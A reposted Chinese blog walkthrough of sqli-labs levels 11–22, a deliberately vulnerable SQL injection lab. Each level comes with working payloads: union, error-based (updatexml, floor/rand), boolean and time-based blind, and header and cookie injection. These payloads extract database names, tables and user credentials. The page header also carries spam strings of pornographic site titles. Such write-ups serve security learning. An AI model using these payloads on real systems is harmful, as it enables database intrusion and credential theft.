日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

通过sql-labs进行sql注入学习(11-22)

發布時間:2024/9/30 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 通过sql-labs进行sql注入学习(11-22) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:

SQL注入是入門web安全的基礎,所以得仔細學習SQL注入。

從十一關開始便是POST請求,這次從第十一關來做

第11關

嘗試萬能密碼' or 1=1#,有回顯,看來是單引號閉合,抓包進行操作,還是回顯注入,不過是從GET方式變成了POST方式。

payload:

判斷列數 uname=' order by 1,2,3# 查找數據庫 uname=' union select 1,database()# 查表 uname=' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+ 爆字段 uname=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')--+ 爆值 uname=' union select 1,group_concat(username,0x3a,password) from users --+

源碼分析:


源碼中的SQL語句直接是通關單引號閉合,并沒有任何防護,所以會產生這樣的問題

第12關

輸入雙引號發現報錯信息

所以很容易就可以判斷出閉合符號為"),其他就沒有任何變化了,和第十一關一樣的姿勢

這里就列一個payload

爆字段 uname=") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

源碼分析


分析源碼便可發現這里只不過是使用$uname='"'.$uname'."',輸入的參數閉合符號為",再拼接到$sql語句中,發現$uname前面還有一個(,所以這里拼接的閉合符號為"),但也僅限于此了,并沒有其他防護。

第13關

測試',發現報錯信息

通過這句話便可以判斷出閉合符號為'),第十三關和之前不同的就是沒有回顯,但是還有報錯信息,所以可以進行報錯注入,同樣還是先判斷列數等

爆數據庫

uname=') union select 1,count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+


爆數據表

uname=') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;--+

爆字段值

uname=') Union select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+


爆值

uname=') Union select count(*),concat((select username from users limit 1,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;--+

源碼分析


源碼只是更改了注入成功時不輸出不再回顯,其他只是更改了')作為閉合符號。

第14關

測試出閉合符號為",類型和第十三題一樣,同為報錯注入

payload:

uname=1" union select 1,count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+

源碼分析


與十三關大致相同,不多做解釋了

第十五關

當輸入uname=1' or 1=1#,發現頁面顯示成功
說明閉合符號為',這關沒有報錯信息也沒有回顯,就可以考慮布爾盲注和時間盲注了

布爾盲注

uname=1' or ascii(substr((database()),1,1))>115#&passwd=123&submit=Submit uname=1' or ascii(substr((database()),1,1))=115#&passwd=123&submit=Submit

通關測試便可以發現,數據庫第一個字符為S,利用這樣的方法便可猜解出其他字符

時間盲注

uname=1' or if((ascii(substr(database(),1,1)))>100,1,sleep(10))#

通過利用if語句和sleep函數,來檢測字符的ascll范圍,如果不符合要求,響應便會延遲10秒,以此來猜解出數據庫名。

源碼分析



將報錯信息和回顯信息都已注釋掉,所以只能通過盲注或時間盲注來做

SQL語句還和之前的一樣,并沒有多大的變化,沒有太大的防護

第16關

利用uname=1") or 1=1#測試發現,顯示成功,閉合符號為“),其他沒什么變化,和第15關一樣,同樣的姿勢,更改payload中的閉合符號即可,不多敘述

第17關

從第17關開始,發現頁面發生一些變化,應該有新姿勢要學習了

構造uname沒有結果,嘗試passwd,輸入單引號時,發現出現報錯信息,嘗試Xpath報錯,發現確實可以,那下面就簡單多了,直接爆數據庫、表等

爆數據庫

uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)# &submit=Submit


爆數據表

uname=admin&passwd=1' or updatexml(1,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()),1)# &submit=Submit

爆字段

uname=admin&passwd=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)#&submit=Submit

爆值

uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#&submit=Submit

前面的都沒有什么問題,但到爆值時,發現

查了下百度,發現:

mysql中You can't specify target table for update in FROM clause錯誤的意思是說,不能先select出同一表中的某些值,再update這個表(在同一語句中)
參考文章

需要再在外面加一層select即可解決

uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from (select username from users)c limit 0,1),0x7e),1)#&submit=Submit

源碼分析


根本就沒有提交uname,難怪沒有反應

第18關


這次來一個IP地址,看來又可以學到新姿勢了

猜想應該是head頭注入,但是就是沒有回顯,無奈之下,用戶名和密碼下瞎輸入uname=admin&passwd=123,發現:

這。。。。。必須登陸成功才能顯示出報錯信息

有了報錯信息,可以用第17關的Xpath報錯

輸入User-Agent: 1',發現報錯信息
嘗試User-Agent: 1' or 1=1#,回顯結果為:
利用User-Agent: 1' or '1'='1,發現回顯成功,閉合方式找到了,那payload就可以參照第17關的

爆出數據庫

User-Agent: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1


下面的和第17關就大差不差了

源碼分析

function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,20);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value = stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}


有一個檢測輸入的函數,簡單審計一下代碼

使用substr函數限制了長度,如果輸入的不是都是數字則mysql_real_escape_string() 函數轉義 字符串中的特殊字符,將單引號給過濾所以我們按照常規的方法無法做出了,只能先登陸后通過User-Agent進行注入

第19關

和第十八關類似,不過這次注入點存在于Referer
測試閉合符號還是Referer: 1' or '1'='1,那應該還是可以利用Xpath報錯

payload

Referer: 1' or updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

源碼分析


其他防護代碼和之前一樣,只不過插入語句發生一點變化

第20關

之后的題應該都是先弱口令登入,才能查到一些信息,這關也需要先登陸,登陸之后便可以查看到

與COOKIE有關,抓包嘗試注入

Cookie: uname=admin'


嘗試出閉合符號

Cookie: uname=admin' or '1'='1


還是利用Xpath報錯
payload

Cookie: uname=1' or updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1


其他姿勢就跟上一關一樣了,不再敘述了

源碼分析


只設置了uname的cookie,其他也就沒什么可分析的

第21關

抓包發現cookie中uname=YWRtaW4,解碼為admin

提示還是cookie,那就還利用上一關的payload,base64加密傳入即可

第22關

單引號變成雙引號即可,還是一樣的payload,base64加密即可
payload:

Cookie: uname=MSIgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSBhbmQgIjEiPSIx

總結

這次就先打到這里,又學習到許多新的繞過姿勢,繼續學習!

總結

以上是生活随笔為你收集整理的通过sql-labs进行sql注入学习(11-22)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。